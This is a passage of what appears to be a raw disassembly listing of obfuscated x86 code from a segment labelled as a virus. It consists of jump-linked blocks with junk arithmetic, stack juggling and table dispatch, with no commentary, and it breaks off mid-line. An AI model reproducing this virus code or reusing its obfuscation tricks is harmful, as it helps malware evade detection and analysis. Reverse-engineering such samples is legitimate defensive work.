ebx shr ebx, 7 push edx mov edx, 76EB2331h not edx push edx push esi pop edx pop esi not esi xchg esi, edx shl edx, 2 xor edx, ebp xor ebp, edx jmp loc_58731B ; --------------------------------------------------------------------------- loc_58B505: ; CODE XREF: Virus___:00585E40j mov bl, 0F3h or bl, 62h shr bl, 1 or bl, 61h shr bl, 6 add bl, 0CBh mov dl, bl pop ebx xor dl, bh mov ebx, [esp] jmp loc_584775 ; --------------------------------------------------------------------------- loc_58B522: ; CODE XREF: Virus___:0058092Cj xchg edi, [esp] pop esp push ecx mov cl, 0 shr cl, 2 sub cl, 0E9h jmp loc_580E40 ; --------------------------------------------------------------------------- loc_58B534: ; CODE XREF: Virus___:0058C898j not eax xchg eax, edi jmp loc_584CEA ; --------------------------------------------------------------------------- loc_58B53C: ; CODE XREF: Virus___:0058EFCFj add ebx, ecx sub ebx, 4FBF2063h jmp loc_584A49 ; --------------------------------------------------------------------------- push edx push esp jmp loc_57FFF1 ; --------------------------------------------------------------------------- loc_58B550: ; CODE XREF: Virus___:00586419j or esi, edi mov edi, [esp] add esp, 4 add esi, 9227444h add esi, 0AEF43BD0h add ebp, esi mov esi, [esp] add esp, 4 push 4A51h mov [esp], eax jmp loc_57F9C4 ; --------------------------------------------------------------------------- loc_58B57F: ; CODE XREF: Virus___:0058913Cj mov ecx, [esp] add esp, 4 jmp loc_5863C2 ; --------------------------------------------------------------------------- loc_58B58D: ; CODE XREF: Virus___:0058CB68j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58B592: ; CODE XREF: Virus___:00580317j mov edi, 8D31BCEh sub ebx, edi pop edi mov edi, [esp] add esp, 4 add ebx, 4 jmp loc_592CDA ; --------------------------------------------------------------------------- loc_58B5AB: ; CODE XREF: Virus___:00592736j add esp, 4 mov ecx, [esp] jmp loc_58B467 ; --------------------------------------------------------------------------- loc_58B5B6: ; CODE XREF: Virus___:0058AF57j add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] mov eax, [esp] push 711Ch mov [esp], ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx push eax push edx jmp loc_589B13 ; --------------------------------------------------------------------------- loc_58B5E9: ; CODE XREF: Virus___:00584EBCj mov [esp], ebp push esi pop ebp mov edx, ebp pop ebp jmp loc_588CC7 ; --------------------------------------------------------------------------- loc_58B5F6: ; CODE XREF: Virus___:005826F9j sub esi, ecx pop ecx push esi xor dword ptr [esp], 4F2C0767h pop edx xor edx, 4F2C0767h mov esi, [esp] add esp, 4 add edx, edi add [edx], ecx mov edx, [esp] add esp, 4 jmp loc_57FA74 ; --------------------------------------------------------------------------- loc_58B620: ; CODE XREF: Virus___:0058F490j push 30FD7521h pop edx push 0 jmp loc_593D5A ; --------------------------------------------------------------------------- loc_58B630: ; CODE XREF: Virus___:0058F51Ej mov [esp], esi mov esi, 34FD04A1h inc esi jmp loc_587740 ; --------------------------------------------------------------------------- loc_58B63E: ; CODE XREF: Virus___:00582712j sub ch, 0DEh sub ch, 6Ch pop eax inc ch shl ch, 4 push 6B1Bh mov [esp], edx mov dl, 0Dh push ax mov al, 58h xor dl, al pop ax or dl, 0EBh shl dl, 2 dec dl and dl, 7Ah push bx mov bl, 60h add dl, bl mov bx, [esp] add esp, 2 and ch, dl mov edx, [esp] push ebx push esp jmp loc_582455 ; --------------------------------------------------------------------------- loc_58B683: ; CODE XREF: Virus___:005841FAj pop edi jmp loc_58E91D ; --------------------------------------------------------------------------- loc_58B689: ; CODE XREF: Virus___:0059126Aj pop edi sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_58EA97 ; --------------------------------------------------------------------------- loc_58B69A: ; CODE XREF: Virus___:0058B46Dj xor esi, [esp] jmp loc_58F90F ; --------------------------------------------------------------------------- loc_58B6A2: ; CODE XREF: Virus___:00592E3Bj mov ebp, [esp] add esp, 4 jmp loc_58B793 ; --------------------------------------------------------------------------- loc_58B6B0: ; CODE XREF: Virus___:005944D0j add esi, ebp sub esi, 2E833AF6h pop ebp jmp loc_58329C ; --------------------------------------------------------------------------- loc_58B6BE: ; CODE XREF: Virus___:0058A6A0j mov esi, edi pop edi jmp loc_58CFA4 ; --------------------------------------------------------------------------- loc_58B6C6: ; CODE XREF: Virus___:005881C0j sub ebp, ebx mov ebx, [esp] add esp, 4 xchg ebp, [esp] pop esp mov [esp], edi xchg edi, [esp] push edi xchg esi, [esp] not esi xchg esi, [esp] pop edi push 5FEDh mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov edi, [esp] add esp, 4 xchg eax, edi push 3100h mov [esp], ebx sub esp, 4 mov [esp], edx push ecx mov ecx, 2CB51541h mov edx, ecx pop ecx jmp loc_58E1CB ; --------------------------------------------------------------------------- loc_58B718: ; CODE XREF: Virus___:0058469Fj pop edi push 100h mov [esp], edi jmp loc_589C00 ; --------------------------------------------------------------------------- loc_58B726: ; CODE XREF: Virus___:0058F990j xor edi, ecx jmp loc_58B28A ; --------------------------------------------------------------------------- loc_58B72D: ; CODE XREF: Virus___:0058B79Fj xor dx, [esp] jmp loc_589307 ; --------------------------------------------------------------------------- loc_58B736: ; CODE XREF: Virus___:005863ADj pop edi jmp loc_58C6E3 ; --------------------------------------------------------------------------- loc_58B73C: ; CODE XREF: Virus___:00582313j add edi, esi sub edi, 4CD03D7Ah pop esi pop esi jmp loc_587688 ; --------------------------------------------------------------------------- loc_58B74B: ; CODE XREF: Virus___:00593AB6j sub esp, 4 mov [esp], ebp mov ebp, 26CB494Bh xor ebx, ebp pop ebp sub esp, 4 mov [esp], esi mov esi, 0C633428h sub esi, 1 dec esi sub esi, 1 xor esi, 0BBC2A56Ah sub ebx, esi mov esi, [esp] add esp, 4 push 156Ah mov [esp], ebx xor dword ptr [esp], 21530D40h jmp loc_58E7DF ; --------------------------------------------------------------------------- loc_58B793: ; CODE XREF: Virus___:0058B6ABj xchg edi, [esp] pop esp mov [esp], ax xor [esp], dx jmp loc_58B72D ; --------------------------------------------------------------------------- loc_58B7A4: ; CODE XREF: Virus___:0058987Cj pop esp mov [esp], edi mov edi, 6A7F143Ch shr edi, 7 xor edi, 525F73D1h push edx mov edx, esp add edx, 4 jmp loc_5850A0 ; --------------------------------------------------------------------------- loc_58B7C4: ; CODE XREF: Virus___:00592913j push esp jmp loc_58AFA3 ; --------------------------------------------------------------------------- loc_58B7CA: ; CODE XREF: Virus___:00582CB8j add ecx, 4 push edx mov edx, 2 push edi mov edi, 48653DD1h sub ecx, edi pop edi add ecx, edx jmp loc_582C2C ; --------------------------------------------------------------------------- loc_58B7E6: ; CODE XREF: Virus___:00593D2Cj xchg ebx, [esp] pop esp mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] push dword ptr [esp] jmp loc_592894 ; --------------------------------------------------------------------------- loc_58B7FD: ; CODE XREF: Virus___:00593A64j dec ebx not ebx neg ebx jmp loc_58D872 ; --------------------------------------------------------------------------- loc_58B807: ; CODE XREF: Virus___:00587747j mov ebx, 0EE4295D6h sub esi, 77C10355h add esi, ebx add esi, 77C10355h pop ebx sub ebx, 78E10CCFh sub ebx, esi jmp loc_58A802 ; --------------------------------------------------------------------------- loc_58B828: ; CODE XREF: Virus___:005849C9j pop ecx sub eax, ebx jmp loc_58D8B2 ; --------------------------------------------------------------------------- loc_58B830: ; CODE XREF: Virus___:0058BE5Dj pop ecx sub edi, eax jmp loc_586B01 ; --------------------------------------------------------------------------- loc_58B838: ; CODE XREF: Virus___:0058FAB8j add edi, eax pop eax jmp loc_58B95B ; --------------------------------------------------------------------------- loc_58B840: ; CODE XREF: Virus___:0058787Fj xor ebx, [esp] jmp loc_5876A4 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58B850: ; CODE XREF: Virus___:00589FEEj add esp, 4 push ecx push dword ptr [esp+4] jmp loc_58927D ; --------------------------------------------------------------------------- loc_58B860: ; CODE XREF: Virus___:0058F4C7j push 2E1Ch mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp or edx, eax jmp loc_57F52D ; --------------------------------------------------------------------------- loc_58B878: ; CODE XREF: Virus___:0058C114j sub bh, 0ECh add bh, 0B9h sub bh, 0A5h dec bh shr bh, 1 jmp loc_592D1F ; --------------------------------------------------------------------------- loc_58B88A: ; CODE XREF: Virus___:00581A91j add edx, eax jmp loc_58490E ; --------------------------------------------------------------------------- loc_58B891: ; CODE XREF: Virus___:0058D9C1j push 5CA93E8Eh pop ebp jmp loc_58E766 ; --------------------------------------------------------------------------- loc_58B89C: ; CODE XREF: Virus___:0058F8DBj mov ebx, [esp] push ebp jmp loc_582251 ; --------------------------------------------------------------------------- loc_58B8A5: ; CODE XREF: Virus___:0058793Cj add eax, ebp pop ebp xchg eax, [esp] jmp loc_58221A ; --------------------------------------------------------------------------- loc_58B8B0: ; CODE XREF: Virus___:005834B6j mov [esp], ebx jmp loc_581853 ; --------------------------------------------------------------------------- loc_58B8B8: ; CODE XREF: Virus___:0058CA56j pop ebx jmp loc_5805A2 ; --------------------------------------------------------------------------- loc_58B8BE: ; CODE XREF: Virus___:00589C32j mov eax, edi jmp loc_5842B9 ; --------------------------------------------------------------------------- loc_58B8C5: ; CODE XREF: Virus___:0058E0F1j pop dword ptr [esp] jmp loc_591B68 ; --------------------------------------------------------------------------- loc_58B8CD: ; CODE XREF: Virus___:00588C38j push eax push ebx sub esp, 4 mov [esp], eax jmp loc_58AB9D ; --------------------------------------------------------------------------- loc_58B8DA: ; CODE XREF: Virus___:00590A8Cj mov ebp, esi push dword ptr [esp] jmp loc_58C023 ; --------------------------------------------------------------------------- loc_58B8E4: ; CODE XREF: Virus___:00582570j add esp, 4 push ecx mov cl, 0C2h xchg bh, cl not bh inc bh xchg bh, cl xor cl, 6Eh jmp near ptr unk_581F1B ; --------------------------------------------------------------------------- loc_58B8FD: ; CODE XREF: Virus___:005825F2j add esp, 4 mov esi, [esp] add esp, 4 push edi push 1A897F78h jmp loc_5836AF ; --------------------------------------------------------------------------- lodsd push ecx mov ecx, 0EA66C5Dh push ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 push esi push edx mov edx, 77887460h mov esi, 2E924426h xchg edi, esi not edi jmp loc_589971 ; --------------------------------------------------------------------------- loc_58B937: ; CODE XREF: Virus___:0058C06Ej add ebx, ecx push dword ptr [esp] pop ecx add esp, 4 xchg ebx, [esp] jmp loc_580F00 ; --------------------------------------------------------------------------- loc_58B94B: ; CODE XREF: Virus___:0058F053j mov [esp], eax mov eax, 308C79BEh shl eax, 5 jmp loc_593BD7 ; --------------------------------------------------------------------------- loc_58B95B: ; CODE XREF: Virus___:0058B83Bj push esi push 5A166A34h pop esi inc esi or esi, 7B317901h xor esi, 0F30CC7FAh push eax jmp loc_585D3C ; --------------------------------------------------------------------------- loc_58B975: ; CODE XREF: Virus___:0058FD78j push dword ptr [esp] pop ecx jmp loc_588A4A ; --------------------------------------------------------------------------- loc_58B97E: ; CODE XREF: Virus___:00586CE6j mov esi, 4 add ecx, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_593481 ; --------------------------------------------------------------------------- loc_58B9B0: ; CODE XREF: Virus___:0058D3C5j add esp, 4 add ebp, 0BE8FF75Dh jmp loc_58497E ; --------------------------------------------------------------------------- loc_58B9C1: ; CODE XREF: Virus___:00588817j add eax, edx sub eax, 7A2B4D52h pop edx mov edx, [esp] add esp, 4 add eax, esi push 0D81h mov [esp], ecx mov ecx, 1C164074h jmp loc_580A9A ; --------------------------------------------------------------------------- loc_58B9E6: ; CODE XREF: Virus___:0058AA57j mov edx, 2CF43F4h sub eax, edx jmp loc_586D40 ; --------------------------------------------------------------------------- loc_58B9F2: ; CODE XREF: Virus___:0058C4B9j xor ecx, 1E375067h add esi, ecx jmp loc_58A43F ; --------------------------------------------------------------------------- loc_58B9FF: ; CODE XREF: Virus___:0058EBF2j mov edi, 4 mov ebx, edi pop edi sub eax, ebx jmp loc_5853C2 ; --------------------------------------------------------------------------- loc_58BA0E: ; CODE XREF: Virus___:0057FEBBj neg ecx jmp loc_589239 ; --------------------------------------------------------------------------- loc_58BA15: ; CODE XREF: Virus___:0058FA8Bj pop edx jmp loc_58F68B ; --------------------------------------------------------------------------- loc_58BA1B: ; CODE XREF: Virus___:00587ECBj sub al, 0E7h sub al, 0C9h sub al, 3Bh sub esp, 4 mov [esp], ecx mov cl, 0D5h jmp loc_590097 ; --------------------------------------------------------------------------- loc_58BA31: ; CODE XREF: Virus___:005930DAj push edx mov dl, al mov bh, dl pop edx jmp loc_59455D ; --------------------------------------------------------------------------- loc_58BA3C: ; CODE XREF: Virus___:0058A4E9j push ebx push 59EEh mov [esp], ecx mov ecx, 6FAE3143h add dword ptr [esp+4], 4A8C7C1Ah push edi jmp loc_584D9D ; --------------------------------------------------------------------------- loc_58BA58: ; CODE XREF: Virus___:0058CB53j mov [esp], eax mov eax, esp jmp loc_593B92 ; --------------------------------------------------------------------------- loc_58BA62: ; CODE XREF: Virus___:00584768j add eax, ebp jmp loc_589FB7 ; --------------------------------------------------------------------------- loc_58BA69: ; CODE XREF: Virus___:005909C1j sub edx, 68234938h add edi, edx pop edx pop ecx push 286Bh mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] jmp loc_58E76C ; --------------------------------------------------------------------------- loc_58BA87: ; CODE XREF: Virus___:005909F6j xor esi, [esp] pop esp loc_58BA8B: ; CODE XREF: Virus___:0058089Fj push 40Ah mov [esp], edi push eax push edi push eax jmp loc_58AF72 ; --------------------------------------------------------------------------- loc_58BA9B: ; CODE XREF: Virus___:00580666j push ecx mov ecx, 2 push ebx mov ebx, 6E7D2A4Bh or ebx, 158A537Ch not ebx sub ebx, 1F576EB1h add esi, 10DC425Ah sub esi, ebx push 5002h mov [esp], ebx mov ebx, 10DC425Ah sub esi, ebx jmp loc_5839EB ; --------------------------------------------------------------------------- loc_58BAD1: ; CODE XREF: Virus___:0058EECAj xor ebx, [esp] jmp loc_588D00 ; --------------------------------------------------------------------------- loc_58BAD9: ; CODE XREF: Virus___:005911C6j mov eax, 68675CAEh jmp loc_580027 ; --------------------------------------------------------------------------- loc_58BAE3: ; CODE XREF: Virus___:00591ECFj mov edi, 62D8663Ah add esi, edi mov edi, [esp] push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_58FC01 ; --------------------------------------------------------------------------- loc_58BAFE: ; CODE XREF: Virus___:0058EA31j pop dword ptr [esp] mov esp, [esp] mov [esp], esi push edi mov edi, 52A36545h mov esi, edi jmp loc_592436 ; --------------------------------------------------------------------------- loc_58BB14: ; CODE XREF: Virus___:00592CF5j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58BB19: ; CODE XREF: Virus___:00585876j add ebp, 9AB2A714h add ebp, eax pop eax add ebp, 428623FFh push esi mov esi, 4C264E97h and ebp, esi pop esi jmp loc_588C3D ; --------------------------------------------------------------------------- loc_58BB36: ; CODE XREF: Virus___:00583C59j mov edx, 4 add edi, 0FBA626Dh add edi, edx sub edi, 0FBA626Dh pop edx jmp loc_580762 ; --------------------------------------------------------------------------- loc_58BB4F: ; CODE XREF: Virus___:00588AFAj push eax mov eax, 1E357160h add eax, 45BF49DBh sub eax, 38FF3FE1h or ebx, eax pop eax not ebx sub ebx, 0D00A007Ch sub esi, ebx pop ebx xchg esi, [esp] jmp loc_5919B0 ; --------------------------------------------------------------------------- loc_58BB75: ; CODE XREF: Virus___:00582C3Fj push 4086F8Dh pop ebp push ecx mov ecx, 279C53ECh and ebp, ecx pop ecx jmp loc_582182 ; --------------------------------------------------------------------------- loc_58BB89: ; CODE XREF: Virus___:005830E2j add eax, ebp add eax, 1444E86h push dword ptr [esp] pop ebp add esp, 4 add eax, 4 jmp loc_586642 ; --------------------------------------------------------------------------- loc_58BBA2: ; CODE XREF: Virus___:00586685j mov ecx, [esp] add esp, 4 push edi mov edi, 29D50C9Dh add edi, 496320A1h xor edi, 7B787DD8h xor edx, edi pop edi push 623Bh mov [esp], eax jmp loc_58E904 ; --------------------------------------------------------------------------- loc_58BBCD: ; CODE XREF: Virus___:0058F49Aj movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- push dword ptr [esp+4] jmp loc_5896C7 ; --------------------------------------------------------------------------- loc_58BBDE: ; CODE XREF: Virus___:0058059Dj pop esi add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_583318 ; --------------------------------------------------------------------------- loc_58BBF0: ; CODE XREF: Virus___:0057F8AFj push ebx pop ecx push ecx sub dword ptr [esp], 32C92662h pop eax push edi jmp loc_58F82D ; --------------------------------------------------------------------------- loc_58BC01: ; CODE XREF: Virus___:00590CDDj xchg edi, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58BC12: ; CODE XREF: Virus___:00590C70j add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_58CCFD ; --------------------------------------------------------------------------- loc_58BC24: ; CODE XREF: Virus___:00581ED1j push 2A5Dh mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 jmp loc_580B80 ; --------------------------------------------------------------------------- loc_58BC3F: ; CODE XREF: Virus___:00590426j add esp, 4 jmp loc_59199B ; --------------------------------------------------------------------------- loc_58BC47: ; CODE XREF: Virus___:00587180j neg ah inc ah jmp loc_58E430 ; --------------------------------------------------------------------------- loc_58BC50: ; CODE XREF: Virus___:0058E970j sub [esp+4], edi pop edi add dword ptr [esp], 1B4520EDh jmp loc_590FDE ; --------------------------------------------------------------------------- loc_58BC61: ; CODE XREF: Virus___:0057F718j sub bh, cl pop ecx push edx push eax jmp loc_58F871 ; --------------------------------------------------------------------------- loc_58BC6B: ; CODE XREF: Virus___:00593566j neg eax shl eax, 8 push ebx jmp loc_58C5AD ; --------------------------------------------------------------------------- loc_58BC76: ; CODE XREF: Virus___:00582121j sub edi, 19A7788h add edi, 35AF5B7Ah add edi, eax sub edi, 35AF5B7Ah add edi, 19A7788h jmp loc_585E0D ; --------------------------------------------------------------------------- loc_58BC95: ; CODE XREF: Virus___:0058AF66j mov [esp], ebp mov ebp, esp push esi sub esp, 4 mov [esp], eax jmp loc_58686D ; --------------------------------------------------------------------------- loc_58BCA9: ; CODE XREF: Virus___:0058AEF0j push ebp mov ebp, 4 push ebp jmp loc_57F5B1 ; --------------------------------------------------------------------------- loc_58BCB5: ; CODE XREF: Virus___:0058F21Aj mov [esp], ax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58BCBE: ; CODE XREF: Virus___:005914F2j mov eax, [esp] jmp loc_58B2C4 ; --------------------------------------------------------------------------- loc_58BCC6: ; CODE XREF: Virus___:0058FBFCj xchg ecx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx mov ecx, 6C5F4891h jmp loc_58FF9D ; --------------------------------------------------------------------------- loc_58BCE2: ; CODE XREF: Virus___:005916ADj mov ecx, 12F420CEh push eax mov eax, 38B43149h and eax, 536A5535h add eax, 14E053CCh jmp loc_580ED0 ; --------------------------------------------------------------------------- loc_58BCFC: ; CODE XREF: Virus___:0058EE3Dj shl ebp, 2 and ebp, 44B667F1h sub ebp, 6D630D91h sub esp, 4 mov [esp], edx push edi jmp loc_5882D3 ; --------------------------------------------------------------------------- loc_58BD17: ; CODE XREF: Virus___:005852AAj add [esp+4], esi jmp loc_584F54 ; --------------------------------------------------------------------------- loc_58BD20: ; CODE XREF: Virus___:00587B93j not ebp xchg ebp, edi push esi mov esi, 5FD45DA7h jmp loc_58E8C1 ; --------------------------------------------------------------------------- loc_58BD2F: ; CODE XREF: Virus___:005879B2j mov ebp, [esp] push edi mov edi, esp add edi, 4 push 5397h mov [esp], edx mov edx, esp push ecx jmp loc_5902E2 ; --------------------------------------------------------------------------- loc_58BD4B: ; CODE XREF: Virus___:0058ADD9j and edx, 2B118F9h xor edx, 2B118BCh mov eax, edx jmp loc_586CCB ; --------------------------------------------------------------------------- loc_58BD5E: ; CODE XREF: Virus___:00590DDDj xchg edx, [esp] pop esp neg ebx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], edx mov edx, 26A9285Eh mov ecx, edx pop edx not ecx jmp loc_580071 ; --------------------------------------------------------------------------- loc_58BD85: ; CODE XREF: Virus___:0058583Fj pop esp mov [esp], esi push 1846h mov [esp], ebp mov ebp, 5ABB0BC1h push 66457AECh pop esi xor esi, ebp pop ebp xor eax, esi pop esi or eax, eax jnz loc_586FA7 push 4AE3h mov [esp], edi push 37646AEEh pop edi push 7BCEh mov [esp], ebp mov ebp, 3CD71B0Fh xor edi, ebp pop ebp shl edi, 2 push ecx mov ecx, 511E19C7h jmp loc_59218D ; --------------------------------------------------------------------------- loc_58BDD6: ; CODE XREF: Virus___:0058369Cj mov ebx, [esp] add esp, 4 sub esi, 4 jmp loc_583A74 ; --------------------------------------------------------------------------- loc_58BDE7: ; CODE XREF: Virus___:0058F1F2j pop esp mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] xchg edx, esi jmp loc_58A5A7 ; --------------------------------------------------------------------------- loc_58BDFA: ; CODE XREF: Virus___:0058E8FFj add ecx, 0EA97007h add ecx, 72A018F0h add edx, ecx pop ecx push 5F6Fh mov [esp], ebx mov ebx, 0 add ebx, 4B914FA0h add ebx, 40BC53B4h jmp loc_585A9B ; --------------------------------------------------------------------------- loc_58BE27: ; CODE XREF: Virus___:0058AC72j push edx not dword ptr [esp] pop edx add edx, 412F01C3h push 0F22h mov [esp], edi jmp loc_584607 ; --------------------------------------------------------------------------- loc_58BE3F: ; CODE XREF: Virus___:00585EE8j mov ecx, esi pop esi add ebx, ecx pop ecx push edi mov edi, 4 jmp loc_58004F ; --------------------------------------------------------------------------- loc_58BE50: ; CODE XREF: Virus___:00593BBFj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58BE55: ; CODE XREF: Virus___:00580551j add edi, ecx add edi, 2C3D5360h jmp loc_58B830 ; --------------------------------------------------------------------------- loc_58BE62: ; CODE XREF: Virus___:00592055j add ebp, 4634C9F4h add esi, 667504B0h add esi, ebp sub esi, 667504B0h pop ebp push ebx mov ebx, 4 jmp loc_58070E ; --------------------------------------------------------------------------- loc_58BE82: ; CODE XREF: Virus___:005851D0j pop edx add ecx, 7CD5253Fh add ecx, 0A4C3169h add ecx, ebp sub ecx, 0A4C3169h sub ecx, 7CD5253Fh pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov ax, [esp] push 6F11h jmp loc_58AC88 ; --------------------------------------------------------------------------- loc_58BEB8: ; CODE XREF: Virus___:00580AE6j push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_58A9EC ; --------------------------------------------------------------------------- loc_58BED1: ; CODE XREF: Virus___:00594058j pop bx push 1E88h mov [esp], ebx mov bl, 0D7h inc bl jmp loc_585A8C ; --------------------------------------------------------------------------- loc_58BEE4: ; CODE XREF: Virus___:00583EA0j add edx, 62365EF9h and edx, 5DCF5C27h xor edx, 55C24h jmp loc_58CE61 ; --------------------------------------------------------------------------- loc_58BEFB: ; CODE XREF: Virus___:00581879j sub ah, 0A6h sub ah, dh add ah, 0A6h mov edx, [esp] add esp, 4 pop edx jmp loc_585BE6 ; --------------------------------------------------------------------------- loc_58BF0F: ; CODE XREF: Virus___:0059125Ej or esi, 0D390A21h inc esi xor esi, 9FFBAFB4h jmp loc_5848FB ; --------------------------------------------------------------------------- loc_58BF21: ; CODE XREF: Virus___:00584F4Fj inc bh sub bh, 21h not bh or bh, 83h push edx mov dl, 96h jmp loc_5911F9 ; --------------------------------------------------------------------------- loc_58BF33: ; CODE XREF: Virus___:0057F8C0j sub esp, 4 jmp loc_58189E ; --------------------------------------------------------------------------- loc_58BF3B: ; CODE XREF: Virus___:005903B5j mov edx, esp jmp loc_5919C9 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58A5F6 ; --------------------------------------------------------------------------- loc_58BF4B: ; CODE XREF: Virus___:005875E9j add ecx, 38046F2Eh add ecx, 9A812F5h pop ebx add ecx, edi add ecx, 45062FBAh mov eax, [ecx] mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push 370h jmp loc_58718F ; --------------------------------------------------------------------------- loc_58BF81: ; CODE XREF: Virus___:00582269j add esp, 2 jmp loc_5808E3 ; --------------------------------------------------------------------------- loc_58BF89: ; CODE XREF: Virus___:0058D0B3j xor ebp, 32C0FB67h mov edx, ebp pop ebp xor esi, edx mov edx, [esp] jmp loc_590534 ; --------------------------------------------------------------------------- loc_58BF9C: ; CODE XREF: Virus___:0058222Ej mov [esp], esp add dword ptr [esp], 4 jmp loc_5900C8 ; --------------------------------------------------------------------------- loc_58BFA8: ; CODE XREF: Virus___:0058814Cj mov esp, [esp] jmp loc_58668A ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58AAA8 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_582CB5 ; --------------------------------------------------------------------------- loc_58BFC2: ; CODE XREF: Virus___:0058A499j add esi, 4 add esi, 4 jmp loc_581A58 ; --------------------------------------------------------------------------- loc_58BFD0: ; CODE XREF: Virus___:00581EC9j sub eax, 0FA5FA614h add eax, 150C5201h sub eax, 40C875A9h sub edi, 6D4F27A7h add edi, eax add edi, 6D4F27A7h jmp loc_581040 ; --------------------------------------------------------------------------- loc_58BFF2: ; CODE XREF: Virus___:00589DC6j xor edx, 6E1D13ADh sub edx, 0C77871B6h add ebx, edx pop edx push esi mov esi, 7DF7EC9h xor esi, 7DF7EC9h mov [ebx], esi pop esi jmp loc_58F995 ; --------------------------------------------------------------------------- loc_58C015: ; CODE XREF: Virus___:00591104j mov [esp], edx jmp loc_58B44A ; --------------------------------------------------------------------------- loc_58C01D: ; CODE XREF: Virus___:00581C44j push ebp jmp loc_58E1C4 ; --------------------------------------------------------------------------- loc_58C023: ; CODE XREF: Virus___:0058B8DFj pop esi push ebx mov ebx, esp add ebx, 4 push ecx push esi mov esi, 4 push esi add dword ptr [esp], 482C05BFh jmp loc_58077E ; --------------------------------------------------------------------------- loc_58C041: ; CODE XREF: Virus___:00585C35j add dl, 0D7h sub ah, dl mov edx, [esp] add esp, 4 sub ah, 0E2h or dh, ah pop eax shr dh, 5 add dh, 5Eh sub al, 0FEh add al, 49h jmp loc_5825CC ; --------------------------------------------------------------------------- loc_58C061: ; CODE XREF: Virus___:00582EABj add ecx, 63D66F22h pop esi xor ecx, 0E2961D24h jmp loc_58B937 ; --------------------------------------------------------------------------- loc_58C073: ; CODE XREF: Virus___:00587F5Aj push 746Ch mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_580AFE ; --------------------------------------------------------------------------- loc_58C0A1: ; CODE XREF: Virus___:005901F3j shr ebp, 2 jmp loc_58531D ; --------------------------------------------------------------------------- loc_58C0A9: ; CODE XREF: Virus___:0058197Bj add edx, 309C212Ch jmp loc_593E57 ; --------------------------------------------------------------------------- loc_58C0B4: ; CODE XREF: Virus___:00585A75j add esp, 4 push ebx mov ebx, 9B4662Bh or ebx, 6D64023Bh and ebx, 7F390D04h jmp loc_589E74 ; --------------------------------------------------------------------------- loc_58C0CE: ; CODE XREF: Virus___:00582132j mov eax, 9CC47D2h mov esi, eax pop eax mov edx, esi pop esi jmp loc_58F4CC ; --------------------------------------------------------------------------- loc_58C0DE: ; CODE XREF: Virus___:00583492j xor ecx, [esp] mov esp, [esp] jmp loc_593344 ; --------------------------------------------------------------------------- loc_58C0E9: ; CODE XREF: Virus___:0058FB64j pop edx sub dword ptr [esp+4], 80A5F74h jmp loc_5828EE ; --------------------------------------------------------------------------- loc_58C0F7: ; CODE XREF: Virus___:0058940Aj pop ecx jmp loc_58B3DC ; --------------------------------------------------------------------------- loc_58C0FD: ; CODE XREF: Virus___:0058C313j sub bl, 0D0h sub bl, 6Ch sub bl, al add bl, 6Ch push dx push 76F5h mov [esp], ebx mov bh, 6Dh jmp loc_58B878 ; --------------------------------------------------------------------------- loc_58C119: ; CODE XREF: Virus___:00583239j push ecx jmp loc_583A7D ; --------------------------------------------------------------------------- loc_58C11F: ; CODE XREF: Virus___:00580B7Bj add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push esi mov esi, 4 sub ecx, esi pop esi push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58C14C: ; CODE XREF: Virus___:0058921Fj mov al, 38h dec al jmp loc_582706 ; --------------------------------------------------------------------------- loc_58C155: ; CODE XREF: Virus___:00593085j shl bl, 2 xchg dl, bl push dx not byte ptr [esp] pop dx xchg dl, bl sub bl, 55h sub al, 0BEh sub al, bl add al, 0BEh pop ebx sub esp, 4 mov [esp], ecx push ebp push esp pop ebp push ebx mov ebx, 4 add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov bl, 3Fh shr bl, 4 push 2990h mov [esp], eax push edx mov dh, 0EDh mov al, 81h jmp loc_5910EE ; --------------------------------------------------------------------------- loc_58C1A3: ; CODE XREF: Virus___:0058305Dj add esp, 4 sub eax, 2896F2Eh push ecx mov ecx, 17BC5FC6h jmp loc_585419 ; --------------------------------------------------------------------------- loc_58C1B9: 